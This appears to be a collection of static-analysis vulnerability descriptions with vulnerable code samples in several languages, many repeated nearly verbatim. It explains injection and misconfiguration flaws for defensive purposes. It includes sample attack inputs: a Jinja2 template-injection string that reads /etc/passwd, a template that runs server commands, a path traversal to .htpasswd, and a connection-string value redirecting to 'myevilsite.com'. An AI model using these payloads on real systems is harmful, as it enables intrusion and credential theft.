SMTP Header Manipulation vulnerabilities occur when:

1. Data enters an application through an untrusted source, most frequently an HTTP request in a web application.

2. The data is included in an SMTP header sent to a mail server without validation.

As with many software security vulnerabilities, SMTP Header Manipulation is a means to an end, not an end in itself. At its root, the vulnerability is straightforward: an attacker passes malicious data to a vulnerable application, and the application includes the data in an SMTP header.

One of the most common SMTP Header Manipulation attacks is to distribute spam emails. If an application contains a vulnerable "Contact us" form that allows setting the subject and the body of the email, an attacker can set any arbitrary content and inject a CC header with a list of email addresses to spam anonymously because the email is sent from the victim's server.

Example 1: The following code segment reads the subject and body of a "Contact us" form:

    func handler(w http.ResponseWriter, r *http.Request) {
        subject := r.FormValue("subject")
        body := r.FormValue("body")
        auth := smtp.PlainAuth("identity", "user@example.com", "password", "mail.example.com")
        to := []string{"recipient@example.net"}
        msg := []byte("To: " + recipient1 + "\r\n" + subject + "\r\n" + body + "\r\n")
        err := smtp.SendMail("mail.example.com:25", auth, "sender@example.org", to, msg)
        if err != nil {
            log.Fatal(err)
        }
    }
  

Assuming a string consisting of standard alphanumeric characters, such as "Page not working" is submitted in the request, the SMTP headers might take the following form:

  ...
  subject: [Contact us query] Page not working
  ...
  

However, because the value of the header is constructed from unvalidated user input the response only maintains this form if the value submitted for subject does not contain any CR and LF characters. If an attacker submits a malicious string, such as "Congratulations!! You won the lottery!!!\r\ncc:victim1@mail.com,victim2@mail.com ...", then the SMTP headers would be of the following form:

  ...
  subject: [Contact us query] Congratulations!! You won the lottery
  cc: victim1@mail.com,victim2@mail.com
  ...
  

This effectively enables an attacker to craft spam messages or to send anonymous emails amongst other attacks.

SMTP Header Manipulation vulnerabilities occur when:

1. Data enters an application through an untrusted source, most frequently an HTTP request in a web application.

2. The data is included in an SMTP header sent to a mail server without being validated.

As with many software security vulnerabilities, SMTP Header Manipulation is a means to an end, not an end in itself. At its root, the vulnerability is straightforward: an attacker passes malicious data to a vulnerable application, and the application includes the data in an SMTP header.

One of the most common SMTP Header Manipulation attacks is for the use of distributing spam emails. If an application contains a vulnerable "Contact us" form that allows setting the subject and the body of the email, an attacker will be able to set any arbitrary content and inject a CC header with a list of email addresses to spam anonymously since the email will be sent from the victim server.

Example 1: The following code segment reads the subject and body of a "Contact us" form:

$subject = $_GET['subject'];
$body =  $_GET['body'];
mail("support@acme.com", "[Contact us query] " . $subject, $body);

Assuming a string consisting of standard alphanumeric characters, such as "Page not working" is submitted in the request, the SMTP headers might take the following form:

...
subject: [Contact us query] Page not working
...

However, because the value of the header is constructed from unvalidated user input the response will only maintain this form if the value submitted for subject does not contain any CR and LF characters. If an attacker submits a malicious string, such as "Congratulations!! You won the lottery!!!\r\ncc:victim1@mail.com,victim2@mail.com ...", then the SMTP headers would be of the following form:

...
subject: [Contact us query] Congratulations!! You won the lottery
cc: victim1@mail.com,victim2@mail.com
...

This will effectively allow an attacker to craft spam messages or to send anonymous emails amongst other attacks.

SMTP Header Manipulation vulnerabilities occur when:

1. Data enters an application through an untrusted source, most frequently an HTTP request in a web application.

2. The data is included in an SMTP header sent to a mail server without being validated.

As with many software security vulnerabilities, SMTP Header Manipulation is a means to an end, not an end in itself. At its root, the vulnerability is straightforward: an attacker passes malicious data to a vulnerable application, and the application includes the data in an SMTP header.

One of the most common SMTP Header Manipulation attacks is for the use of distributing spam emails. If an application contains a vulnerable "Contact us" form that allows setting the subject and the body of the email, an attacker will be able to set any arbitrary content and inject a CC header with a list of email addresses to spam anonymously since the email will be sent from the victim server.

Example 1: The following code segment reads the subject and body of a "Contact us" form:

body = request.GET['body']
subject = request.GET['subject']
session = smtplib.SMTP(smtp_server, smtp_tls_port)
session.ehlo()
session.starttls()
session.login(username, password)
headers = "\r\n".join(["from: webform@acme.com",
                       "subject: [Contact us query] " + subject,
                       "to: support@acme.com",
                       "mime-version: 1.0",
                       "content-type: text/html"])
content = headers + "\r\n\r\n" + body
session.sendmail("webform@acme.com", "support@acme.com", content)

Assuming a string consisting of standard alphanumeric characters, such as "Page not working" is submitted in the request, the SMTP headers might take the following form:

...
subject: [Contact us query] Page not working
...

However, because the value of the header is constructed from unvalidated user input the response will only maintain this form if the value submitted for subject does not contain any CR and LF characters. If an attacker submits a malicious string, such as "Congratulations!! You won the lottery!!!\r\ncc:victim1@mail.com,victim2@mail.com ...", then the SMTP headers would be of the following form:

...
subject: [Contact us query] Congratulations!! You won the lottery
cc: victim1@mail.com,victim2@mail.com
...

This will effectively allow an attacker to craft spam messages or to send anonymous emails amongst other attacks.

The application communicates with its database server over unencrypted channels, which can pose a significant security risk to the company and users of the application. In this case, an attacker can modify the user entered data or even execute arbitrary SQL commands against the database server.

Example 1: The following code causes the application to communicate with its database server over unencrypted channels:

  ...
  insecure_config = {
        'user': username,
        'password': retrievedPassword,
        'host': databaseHost,
        'port': "3306",
        'ssl_disabled': True
    }

    mysql.connector.connect(**insecure_config)
  ...

An HTTPS stripping attack is a type of man-in-the-middle attack where the attacker watches all the HTTP traffic for location headers and links referencing HTTPS and replaces them with HTTP versions. The attacker keeps a list of all HTTP substitutions made so that they can make the HTTPS request back to the server. All stripped HTTP connections are proxied out to the server over HTTPS. All traffic between the victim and the attacker is sent over HTTP, revealing usernames, passwords, and other private information, but the server is still receiving the expected HTTPS traffic from the attacker so nothing seems wrong.

HTTP Strict Transport Security (HSTS) is a security header that instructs the browser to always connect to the site returning the HSTS headers over SSL/TLS during a period specified in the header itself. Any connection to the server over HTTP will be automatically replaced with an HTTPS one, even if the user types http:// in the browser URL bar.

An HTTPS stripping attack is a type of man-in-the-middle attack where the attacker watches all the HTTP traffic for location headers and links referencing HTTPS and replaces them with HTTP versions. The attacker keeps a list of all HTTP substitutions made so that they can make the HTTPS request back to the server. All stripped HTTP connections are proxied out to the server over HTTPS. All traffic between the victim and the attacker is sent over HTTP, revealing usernames, passwords, and other private information, but the server is still receiving the expected HTTPS traffic from the attacker so nothing seems wrong.

HTTP Strict Transport Security (HSTS) is a security header that instructs the browser to always connect to the site returning the HSTS headers over SSL/TLS during a period specified in the header itself. Any connection to the server over HTTP will be automatically replaced with an HTTPS one, even if the user types http:// in the browser URL bar.

Memcached injection errors occur when:

1. Data enters a program from an untrusted source.



2. The data is used to dynamically construct a Memcached key or value.

Example 1: The following code dynamically constructs a Memcached key.

...
def store(request):
    id = request.GET['id']
    result = get_page_from_somewhere()
    response = HttpResponse(result)
    cache_time = 1800
    cache.set("req-" % id, response, cache_time)
    return response
...

The operation that this code intends to execute follows:

set req-1233 0 0 n
<serialized_response_instance>

However, because the operation is constructed dynamically by concatenating a constant key prefix and a user input string, an attacker may send the string ignore 0 0 1\r\n1\r\nset injected 0 3600 10\r\n0123456789\r\nset req-, then the operation becomes the following:

set req-ignore 0 0 1
1
set injected 0 3600 10
0123456789
set req-1233 0 0 n
<serialized_response_instance>

The preceding key will successfully add a new key/value pair in the cache injected=0123456789. Depending on the payload, attackers will be able to poison the cache or execute arbitrary code by injecting a Pickle-serialized payload that will execute arbitrary code upon deserialization.

Template engines are used to render content using dynamic data. This context data is normally controlled by the user and formatted by the template to generate web pages, emails, and so on. Template engines allow powerful language expressions to be used in templates to render dynamic content, by processing the context data with code constructs such as conditionals, loops, etc. If an attacker can control the template to be rendered, they can inject expressions that expose context data or even run arbitrary commands on the server.

Example 1: The following example shows how a template is retrieved from an HTTP request and rendered.

app.get('/', function(req, res){
    var template = _.template(req.params['template']);
    res.write("<html><body><h2>Hello World!</h2>" + template() + "</body></html>");
});

Example 1 uses Underscore.js as the template engine within a Node.js application. For that engine, an attacker could submit the following template to run arbitrary commands on the server:

<% cp = process.mainModule.require('child_process');cp.exec(<COMMAND>); %>

Template engines are used to render content using dynamic data. This context data is normally controlled by the user and formatted by the template to generate web pages, emails, and the like. Template engines allow powerful language expressions to be used in templates in order to render dynamic content, by processing the context data with code constructs such as conditionals, loops, etc. If an attacker can control the template to be rendered, they can inject expressions that expose context data or even run arbitrary commands on the server.

Example 1: The following example shows how a template is retrieved from an HTTP request and rendered using the Jinja2 template engine.

from django.http import HttpResponse
from jinja2 import Template as Jinja2_Template
from jinja2 import Environment, DictLoader, escape

def process_request(request):
    # Load the template
    template = request.GET['template']
    t = Jinja2_Template(template)
    name = source(request.GET['name'])
    # Render the template with the context data
    html = t.render(name=escape(name))
    return HttpResponse(html)

Example 1 uses Jinja2 as the template engine. For that engine, an attacker could submit the following template to read arbitrary files from the server:

template={{''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()}}

Example 2: The following example shows how a template is retrieved from an HTTP request and rendered using the Django template engine.

from django.http import HttpResponse
from django.template import Template, Context, Engine

def process_request(request):
    # Load the template
    template = source(request.GET['template'])
    t = Template(template)
    user = {"name": "John", "secret":getToken()}
    ctx = Context(locals())
    html = t.render(ctx)
    return HttpResponse(html)

Example 2 uses Django as the template engine. For that engine, an attacker will not be able to execute arbitrary commands, but they will be able to access all the objects in the template context. In this example, a secret token is available in the context and could be leaked by the attacker.

Stream ciphers are vulnerable to "key re-use" attacks, also called "two-time pad" attacks. This means that if the same key is used more than once, it is trivial to XOR the two strings of ciphertext and nullify the key, leaving only the XOR'ed plain text. Due to the way human language is formatted, it is usually trivial to get back to the original two messages.
As there is a requirement to use a fresh initialization vector (IV) to stop the aforementioned attacks, stream ciphers are not suitable for storing encrypted data, as it would mean either:
1) using the disk sector as the IV:
This is insecure because you must reuse the same IV every time the stored data needs to be modified.
2) have a complicated system that maps fresh IVs to disk sectors:
This is difficult to maintain, because it requires continuous updates, must not be user-readable, and requires the ciphertext to consume much more disk space than the unencrypted plain text alone.

These two points make it disadvantageous to use stream ciphers instead of block ciphers to store encrypted data. Another problem with stream ciphers is that they provide no authentication and thus are vulnerable to "bit-flipping" attacks. Some block ciphers such as "CTR" are vulnerable to these same attacks because they perform similarly to stream ciphers.

Example 1: The following code creates a stream cipher that is then used to encrypt data with a constant IV and store it on disk:

...
const cipher = crypto.createCipheriv("AES-256-CTR", key, 'iv')
const ciphertext = cipher.update(plaintext, 'utf8');
cipher.final();
fs.writeFile('my_encrypted_data', ciphertext, function (err) {
    ...
});

Stream ciphers are vulnerable to "key re-use" attacks, also called "two-time pad" attacks. This means that if the same key is used more than once, it is trivial to XOR the two strings of ciphertext and nullify the key, leaving only the XOR'ed plain text. Due to the way human language is formatted, it is usually trivial to get back to the original two messages.
As there is a requirement to use a fresh initialization vector (IV) to stop the aforementioned attacks, stream ciphers are not suitable for storing encrypted data, as it would mean either:
1) using the disk sector as the IV:
This is insecure because you must reuse the same IV every time the stored data needs to be modified.
2) have a complicated system that maps fresh IVs to disk sectors:
This is difficult to maintain, because it requires continuous updates, must not be user-readable, and requires the ciphertext to consume much more disk space than the unencrypted plain text alone.

These two points make it disadvantageous to use stream ciphers instead of block ciphers to store encrypted data. Another problem with stream ciphers is that they provide no authentication and thus are vulnerable to "bit-flipping" attacks. Some block ciphers such as "CTR" are vulnerable to these same attacks because they perform similarly to stream ciphers.

Example 1: The following code creates a stream cipher that is then used to encrypt data with a constant IV and store it on disk:

from Crypto.Cipher import AES
from Crypto import Random
...
key = Random.new().read(AES.block_size)
iv = b'1234567890123456'
cipher = AES.new(key, AES.MODE_CTR, iv, counter)
...
encrypted = cipher.encrypt(data)
f = open("data.enc", "wb")
f.write(encrypted)
f.close()
...

In Example 1, since iv is set as a constant initialization vector, this will be susceptible to re-use attacks.

Stream ciphers are vulnerable to "key re-use" attacks, also called "two-time pad" attacks. This means that if the same key is used more than once, it is trivial to XOR the two strings of ciphertext and nullify the key, leaving only the XOR'ed plain text. Due to the way human language is formatted, it is usually trivial to get back to the original two messages.
As there is a requirement to use a fresh initialization vector (IV) to stop the aforementioned attacks, stream ciphers are not suitable for storing encrypted data, as it would mean either:
1) using the disk sector as the IV:
This is insecure because you must reuse the same IV every time the stored data needs to be modified.
2) have a complicated system that maps fresh IVs to disk sectors:
This is difficult to maintain, because it requires continuous updates, must not be user-readable, and requires the ciphertext to consume much more disk space than the unencrypted plain text alone.

These two points make it disadvantageous to use stream ciphers instead of block ciphers to store encrypted data. Another problem with stream ciphers is that they provide no authentication and thus are vulnerable to "bit-flipping" attacks. Some block ciphers such as "CTR" are vulnerable to these same attacks because they perform similarly to stream ciphers.

Example 1: The following code creates a stream cipher that is then used to encrypt data with a constant IV and store it on disk:

require 'openssl'
...
cipher = OpenSSL::Cipher.new('AES-256-CTR')
cipher.encrypt
cipher.iv='iv'
...
encrypted = cipher.update(data) + cipher.final
File.open('my_encrypted_data', 'w') do |file|
  file.write(encrypted)
end

In Example 1, since OpenSSL::Cipher#iv= is set as a constant initialization vector, this will be susceptible to re-use attacks.

Cross-site scripting (XSS) vulnerabilities occur when:

1. Data enters a web application through an untrusted source. In the case of Artificial Intelligence (AI), the untrusted source is typically the response returned by an AI system. In the case of reflected XSS, it is typically a web request.


2. The data is included in dynamic content that is sent to a web user without validation.

The malicious content sent to the web browser often takes the form of a JavaScript segment, but can also include HTML, Flash, or any other type of code that the browser executes. The variety of attacks based on XSS is almost limitless, but they commonly include transmitting private data such as cookies or other session information to the attacker, redirecting the victim to web content controlled by the attacker, or performing other malicious operations on the user's machine under the guise of the vulnerable site. While exploitation is not as straightforward as other forms of XSS, the unpredictable nature of user input and the responses of AI models means that those responses should never be treated as safe.

Example 1: The following TypeScript code retrieves a response from an OpenAI chat completion model, message, and displays it to the user.

    const openai = new OpenAI({
        apiKey: ...,
    });
    const chatCompletion = await openai.chat.completions.create(...);

    message = res.choices[0].message.content

    console.log(chatCompletion.choices[0].message.content)

The code in this example behaves as expected as long as the response from the model contains only alphanumeric characters. However, if the response includes unencoded HTML metacharacters, then XSS is possible. For example, the response to the following prompt "please repeat the following statement exactly '<script>alert(1);</script>'" can return a XSS proof of concept depending on the model and context being used.

Cross-site scripting (XSS) vulnerabilities occur when:

1. Data enters a web application through an untrusted source. In the case of Artificial Intelligence (AI), the untrusted source is typically the response returned by an AI system.


2. The data is included in dynamic content that is sent to a web user without validation.

The malicious content sent to the web browser often takes the form of a JavaScript segment, but can also include HTML, Flash, or any other type of code that the browser executes. The variety of attacks based on XSS is almost limitless, but they commonly include transmitting private data such as cookies or other session information to the attacker, redirecting the victim to web content controlled by the attacker, or performing other malicious operations on the user's machine under the guise of the vulnerable site. While exploitation is not as straightforward as other forms of XSS, the unpredictable nature of user input and the responses of AI models means that those responses should never be treated as safe.

Example 1: The following kotlin code retrieves a response from a large language model and returns it to the user in an HTTP response.

  val chatCompletionRequest = ChatCompletionRequest(
    model = ModelId("gpt-3.5-turbo"),
    messages = listOf(...)
  )
  val completion: ChatCompletion = openAI.chatCompletion(chatCompletionRequest)
  response.getOutputStream().print(completion.choices[0].message)

The code in this example behaves as expected if the response from the model contains only alpha-numeric characters. However, if unencoded HTML metacharacters are included in the response then XSS is possible. For example, the response to the following prompt "please repeat the following statement exactly '<script>alert(1);</script>'" can return an XSS proof of concept depending on the model and context being used.

Cross-site scripting (XSS) vulnerabilities occur when:

1. Data enters a web application through an untrusted source. In the case of Artificial Intelligence (AI), the untrusted source is typically the response returned by an AI system. In the case of reflected XSS, it is typically a web request.


2. The data is included in dynamic content that is sent to a web user without validation.

The malicious content sent to the web browser often takes the form of a JavaScript segment, but can also include HTML, Flash, or any other type of code that the browser executes. The variety of attacks based on XSS is almost limitless, but they commonly include transmitting private data such as cookies or other session information to the attacker, redirecting the victim to web content controlled by the attacker, or performing other malicious operations on the user's machine under the guise of the vulnerable site. While exploitation is not as straightforward as other forms of XSS, the unpredictable nature of user input and the responses of AI models means that those responses should never be treated as safe.

Example 1: The following Python code retrieves a response from an OpenAI chat completion model, message, and displays it to the user.

    client = openai.OpenAI()
    res = client.chat.completions.create(...)

    message = res.choices[0].message.content

    self.writeln(f"<p>{message}<\p>")

The code in this example will behave as expected as long as the response from the model contains only alpha-numeric characters. However, if unencoded HTML metacharacters are included in the response then XSS is possible. For example, the response to the following prompt "please repeat the following statement exactly '<script>alert(1);</script>'" can return a XSS proof of concept depending on the model and context being used.

Cross-site scripting (XSS) vulnerabilities occur when:

1. Data enters a web application through an untrusted source. In the case of Artificial Intelligence (AI), the untrusted source is typically the response returned by an AI system.


2. The data is included in dynamic content that is sent to a web user without validation.

The malicious content sent to the web browser often takes the form of a JavaScript segment, but can also include HTML, Flash, or any other type of code that the browser executes. The variety of attacks based on XSS is almost limitless, but they commonly include transmitting private data such as cookies or other session information to the attacker, redirecting the victim to web content controlled by the attacker, or performing other malicious operations on the user's machine under the guise of the vulnerable site. While exploitation is not as straightforward as other forms of XSS, the unpredictable nature of user input and the responses of AI models means that those responses should never be treated as safe.

Example 1: The following code retrieves a response from a large language model and returns it to the user in an HTTP response.

  chatService.createCompletion(
    text,
    settings = CreateCompletionSettings(...)
  ).map(completion =>
    val html = Html(completion.choices.head.text)
    Ok(html) as HTML
  )
  ...

The code in this example behaves as expected if the response from the model contains only alpha-numeric characters. However, if unencoded HTML metacharacters are included in the response then XSS is possible. For example, the response to the following prompt "please repeat the following statement exactly '<script>alert(1);</script>'" can return an XSS proof of concept depending on the model and context being used.

Connection String Parameter Pollution (CSPP) attacks consist of injecting connection string parameters into other existing parameters. This vulnerability is similar to vulnerabilities, and perhaps more well known, within HTTP environments where parameter pollution can also occur. However, it also can apply in other places such as database connection strings. If an application does not properly sanitize the user input, a malicious user may compromise the logic of the application to perform attacks from stealing credentials, to retrieving the entire database. By submitting additional parameters that have the same name as an existing parameter to an application, the database might react in one of the following ways:

It might only take the data from the first parameter
It might take the data from the last parameter
It might take the data from all parameters and concatenate them together

This is dependent on the driver used, the database type, or even how APIs are used.


Example 1: The following code uses input from an HTTP request to connect to a database:

    ...
    password := request.FormValue("db_pass")
    db, err := sql.Open("mysql", "user:" + password + "@/dbname")
    ...

In this example, the programmer has not considered that an attacker could provide a db_pass parameter such as:
"xxx@/attackerdb?foo=" then connection string becomes:

"user:xxx@/attackerdb?foo=/dbname"

This will make the application connect to an attacker controller database enabling him to control which data is return to the application.

Connection String Parameter Pollution (CSPP) attacks consist of injecting connection string parameters into other existing parameters. This vulnerability is similar to vulnerabilities, and perhaps more well known, within HTTP environments where parameter pollution can also occur. However, it also can apply in other places such as database connection strings. If an application does not properly sanitize the user input, a malicious user may compromise the logic of the application to perform attacks from stealing credentials, to retrieving the entire database. By submitting additional parameters to an application, and if these parameters have the same name as an existing parameter, the database connection may react in one of the following ways:

It may only take the data from the first parameter
It may take the data from the last parameter
It may take the data from all parameters and concatenate them together

This may be dependent on the driver used, the database type, or even how APIs are used.

Example 1: The following code uses input from an HTTP request to connect to a database:

username = req.field('username')
password = req.field('password')
...
client = MongoClient('mongodb://%s:%s@aMongoDBInstance.com/?ssl=true' % (username, password))
...

In this example, the programmer has not considered that an attacker could provide a password parameter such as:
"myPassword@aMongoDBInstance.com/?ssl=false&" then the connection string becomes (assuming a username "scott"):

"mongodb://scott:myPassword@aMongoDBInstance.com/?ssl=false&@aMongoDBInstance.com/?ssl=true"

This will cause "@aMongoDBInstance.com/?ssl=true" to be treated as an additional invalid argument, effectively ignoring "ssl=true" and connecting to the database with no encryption.

Connection String Parameter Pollution (CSPP) attacks consist of injecting connection string parameters into other existing parameters. This vulnerability is similar to vulnerabilities, and perhaps more well known, within HTTP environments where parameter pollution can also occur. However, it also can apply in other places such as database connection strings. If an application does not properly sanitize the user input, a malicious user may compromise the logic of the application to perform attacks from stealing credentials, to retrieving the entire database. By submitting additional parameters to an application, and if these parameters have the same name as an existing parameter, the database connection may react in one of the following ways:

It may only take the data from the first parameter
It may take the data from the last parameter
It may take the data from all parameters and concatenate them together

This may be dependent on the driver used, the database type, or even how APIs are used.

Example 1: The following code uses input from an HTTP request to connect to a database:

hostname = req.params['host'] #gets POST parameter 'host'
...
conn = PG::Connection.new("connect_timeout=20 dbname=app_development user=#{user} password=#{password} host=#{hostname}")
...

In this example, the programmer has not considered that an attacker could provide a host parameter such as:
"myevilsite.com%20port%3D4444%20sslmode%3Ddisable" then connection string becomes (assuming a username "scott" and password "5up3RS3kR3t"):

"dbname=app_development user=scott password=5up3RS3kR3t host=myevilsite.com port=4444 sslmode=disable"

This will perform a lookup for "myevilsite.com" and connect to this on port 4444, disabling SSL. This would mean the attacker could steal the credentials of the user "scott" and then use this to either perform a man-in-the-middle attack between their machine and the real database, or just login to the real database and perform queries against the database directly.

File permission manipulation errors occur when any of the following conditions are met:

1. An attacker might specify a path used in an operation that modifies permissions on the file system.

2. An attacker might specify the permissions assigned by an operation on the file system.

Example 1: The following code uses input from system environment variables to set file permissions. If attackers can alter the system environment variables, they might use the program to gain access to files manipulated by the program. If the program is also vulnerable to path manipulation, an attacker might use this vulnerability to access arbitrary files on system.

    permissions := strconv.Atoi(os.Getenv("filePermissions"));
    fMode := os.FileMode(permissions)
    os.chmod(filePath, fMode);
    ...

File permission manipulation errors occur when any of the following conditions are met:

1. An attacker is able to specify a path used in an operation that modifies permissions on the file system.

2. An attacker is able to specify the permissions assigned by an operation on the file system.

Example 1: The following code is designed to set proper file permissions for users uploading Web pages through FTP. It uses input from an HTTP request to mark a file as viewable for external users.

	$rName = $_GET['publicReport'];
	chmod("/home/". authenticateUser . "/public_html/" . rName,"0755");
...

However, if an attacker provides a malicious value for publicReport, such as "../../localuser/public_html/.htpasswd", the application will make the specified file readable to the attacker.

Example 2: The following code uses input from a configuration file to set the default permission mask. If attackers can alter the configuration file, they can use the program to gain access to files manipulated by the program. If the program is also vulnerable to path manipulation, an attacker may use this vulnerability to access arbitrary files on system.

...
$mask = $CONFIG_TXT['perms'];
chmod($filename,$mask);
...

File permission manipulation errors occur when any of the following conditions are met:

1. An attacker is able to specify a path used in an operation that modifies permissions on the file system.

2. An attacker is able to specify the permissions assigned by an operation on the file system.

Example 1: The following code uses input from system environment variables to set file permissions. If attackers can alter the system environment variables, they may use the program to gain access to files manipulated by the program. If the program is also vulnerable to path manipulation, an attacker may use this vulnerability to access arbitrary files on system.

    permissions = os.getenv("filePermissions");
    os.chmod(filePath, permissions);
    ...

File permission manipulation errors occur when any of the following conditions are met:

1. An attacker is able to specify a path used in an operation that modifies permissions on the file system.

2. An attacker is able to specify the permissions assigned by an operation on the file system.

Example 1: The following code is designed to set proper file permissions for users uploading Web pages through FTP. It uses input from an HTTP request to mark a file as viewable for external users.

...
  rName = req['publicReport']
  File.chmod("/home/#{authenticatedUser}/public_html/#{rName}", "0755")
...

However, if an attacker provides a malicious value for publicReport, such as "../../localuser/public_html/.htpasswd", the application will make the specified file readable to the attacker.

Example 2: The following code uses input from a configuration file to set the default permission mask. If attackers can alter the configuration file, they may use the program to gain access to files manipulated by the program. If the program is also vulnerable to path manipulation, an attacker may use this vulnerability to access arbitrary files on system.

...
mask = config_params['perms']
File.chmod(filename, mask)
...

The GraphQL introspection capability enables anyone to query a GraphQL server for information about the current schema. An interested party can issue GraphQL introspection queries to retrieve a complete view of a schema's available operations, data types, fields, and documentation.

GraphQL introspection offers a significant utility in the context of developing and sharing information about GraphQL APIs. Introspection is a powerful GraphQL feature that can facilitate integration with various tools. For example, an IDE can leverage schema introspection to provide enhanced features for developing and testing GraphQL APIs.

However, allowing anyone to query your GraphQL schemas in production can pose a risk to your overall security posture. An attacker can use introspection to obtain implementation details from a GraphQL schema that enables them to perform a more targeted attack. GraphQL schemas can leak information such as internally used fields, descriptions, and deprecation notes that might not be intended for public consumption.

Example 1: The following code initializes a GraphQL.js endpoint with schema introspection enabled by default:

app.use('/graphql', graphqlHTTP({
    schema
}));

The GraphQL introspection capability enables anyone to query a GraphQL server for information about the current schema. Any interested party can issue GraphQL introspection queries to retrieve a complete view of a schema's available operations, data types, fields, and documentation.

GraphQL introspection offers significant utility in the context of developing and sharing information about GraphQL APIs. Introspection is a powerful GraphQL feature that can facilitate integration with various tools. For example, an IDE can leverage schema introspection to provide enhanced features for developing and testing GraphQL APIs.

However, allowing anyone to query your GraphQL schemas in production can pose a risk to your overall security posture. An attacker can use introspection to obtain implementation details from a GraphQL schema that enables them to perform a more targeted attack. GraphQL schemas might leak information such as internally used fields, descriptions, and deprecation notes that are not intended for public consumption.

Example 1: The following code initializes a GraphQL endpoint with schema introspection enabled by default:

app.add_url_rule('/graphql', view_func=GraphQLView.as_view(
  'graphql',
  schema = schema
))

Using Google Remote Procedure Call (gRPC) channel security settings that do not specify encryption, do not support authentication, or lack the capacity of connection identity leaves the channel open to many forms of attack. Data sent with this insecure channel cannot be trusted.

Example 1: The following code shows a gRPC channel setup with insecure channel credentials.

    ...
    using var channel = GrpcChannel.ForAddress("https://grpcserver.com", new GrpcChannelOptions { 
        Credentials = ChannelCredentials.Insecure
    });
    ...
    

Using unspecified Google Remote Procedure Call (gRPC) channel credential settings results in security settings that are set to an unsecure default value of None. Data sent with insecure channel credential settings cannot be trusted.

Example 1: The following code shows a gRPC channel credentials object created with all default parameters, which results in all channel credential security settings being set to insecure default values. In this instance, the value of the root_certificates parameter will be set to None, the value of the private_key parameter will be set to None, and the value of the certificate_chain parameter will be set to None.

...
channel_creds = grpc.ssl_channel_credentials()
...

Sensitive data sent over the wire unencrypted is subject to be read/modified by any attacker that can intercept the network traffic.

Example 1: The following SmtpClient is configured incorrectly, not using SSL/TLS to communicate with an SMTP server:

  string to = "bob@acme.com";
  string from = "alice@acme.com";
  MailMessage message = new MailMessage(from, to);
  message.Subject = "SMTP client.";
  message.Body = @"You can send an email message from an application very easily.";
  SmtpClient client = new SmtpClient("smtp.acme.com");
  client.UseDefaultCredentials = true;
  client.Send(message);

Sensitive data sent over the wire unencrypted is subject to be read/modified by any attacker that can intercept the network traffic.

Example 1: The following SMTP client is configured incorrectly, not using SSL/TLS to communicate with an SMTP server:

session = smtplib.SMTP(smtp_server, smtp_port)
session.ehlo()
session.login(username, password)
session.sendmail(frm, to, content)

NoSQL injection in MongoDB errors occur when:

1. Data enters a program from an untrusted source.



2. The data is used to dynamically construct a MongoDB query.

Example 1: The following code dynamically constructs and executes a MongoDB query that searches for an email with a specific ID.

...
    String userName = User.Identity.Name;
    String emailId = request["emailId"];
    var coll = mongoClient.GetDatabase("MyDB").GetCollection<BsonDocument>("emails");
    var docs = coll.Find(new BsonDocument("$where", "this.name == '" + name + "'")).ToList();
...

The query intends to execute the following code:

    this.owner == "<userName>" && this.emailId == "<emailId>"

However, because the query is constructed dynamically by concatenating a constant query string and user input, the query only behaves correctly if emailId does not contain a single-quote character. If an attacker with the user name wiley enters the string "123' || '4' != '5" for emailId, then the query becomes the following:

    this.owner == 'wiley' && this.emailId == '123' || '4' != '5'

The addition of the || '4' != '5' condition causes the where clause to always evaluate to true, so the query returns all entries stored in the emails collection, regardless of the email owner.

NoSQL injection in MongoDB errors occur when:

1. Data enters a program from an untrusted source.



2. The data is used to dynamically construct a MongoDB query.

Example 1: The following code dynamically constructs and executes a MongoDB query that searches for an email with a specific ID.

...
    userName = req.field('userName')
    emailId = req.field('emaiId')
    results = db.emails.find({"$where", "this.owner == \"" + userName + "\" && this.emailId == \"" + emailId + "\""});
...

The query intends to execute the following code:

    this.owner == "<userName>" && this.emailId == "<emailId>"

However, because the query is constructed dynamically by concatenating a constant base query string and a user input string, the query only behaves correctly if emailId does not contain a double-quote character. If an attacker with the user name wiley enters the string 123" || "4" != "5 for emailId, then the query becomes the following:

    this.owner == "wiley" && this.emailId == "123" || "4" != "5"

The addition of the || "4" != "5" condition causes the where clause to always evaluate to true, so the query returns all entries stored in the emails collection, regardless of the email owner.

Programs that run with root privileges have caused innumerable Unix security disasters. It is imperative that you carefully review privileged programs for all kinds of security problems, but it is equally important that privileged programs drop back to an unprivileged state as quickly as possible in order to limit the amount of damage that an overlooked vulnerability might be able to cause.


Privilege management functions can behave in some less-than-obvious ways, and they have different quirks on different platforms. These inconsistencies are particularly pronounced if you are transitioning from one non-root user to another.

Signal handlers and spawned processes run at the privilege of the owning process, so if a process is running as root when a signal fires or a sub-process is executed, the signal handler or sub-process will operate with root privileges. An attacker may be able to leverage these elevated privileges to do further damage.

Programs that run with root privileges have caused innumerable Unix security disasters. It is imperative that you carefully review privileged programs for all kinds of security problems, but it is equally important that privileged programs drop back to an unprivileged state as quickly as possible in order to limit the amount of damage that an overlooked vulnerability might cause.


Privilege management functions can behave in some less-than-obvious ways, and they have different quirks on different platforms. These inconsistencies are particularly pronounced if you are transitioning from one non-root user to another.

Signal handlers and spawned processes run at the privilege of the owning process, so if a process is running as root when a signal fires or a sub-process is executed, the signal handler or sub-process will operate with root privileges. An attacker might be able to leverage these elevated privileges to do further damage.

Programs that run with root privileges have caused innumerable Unix security disasters. It is imperative that you carefully review privileged programs for all kinds of security problems, but it is equally important that privileged programs drop back to an unprivileged state as quickly as possible in order to limit the amount of damage that an overlooked vulnerability might be able to cause.


Privilege management functions can behave in some less-than-obvious ways, and they have different quirks on different platforms. These inconsistencies are particularly pronounced if you are transitioning from one non-root user to another.

Signal handlers and spawned processes run at the privilege of the owning process, so if a process is running as root when a signal fires or a sub-process is executed, the signal handler or sub-process will operate with root privileges. An attacker may be able to leverage these elevated privileges to do further damage.

Regardless of the language in which a program is written, the most devastating attacks often involve remote code execution, whereby an attacker succeeds in executing malicious code in the program's context. If attackers are allowed to upload files to a directory that is accessible from the Web and cause these files to be passed to a code interpreter (e.g. JSP/ASPX/PHP), then they can cause malicious code contained in these files to execute on the server.

The following code receives an uploaded file and assigns it to the posted object. FileUpload is of type System.Web.UI.HtmlControls.HtmlInputFile.
Example 1:

HttpPostedFile posted = FileUpload.PostedFile;

Even if a program stores uploaded files under a directory that isn't accessible from the Web, attackers might still be able to leverage the ability to introduce malicious content into the server environment to mount other attacks. If the program is susceptible to path manipulation, command injection, or dangerous file inclusion vulnerabilities, then an attacker might upload a file with malicious content and cause the program to read or execute it by exploiting another vulnerability.

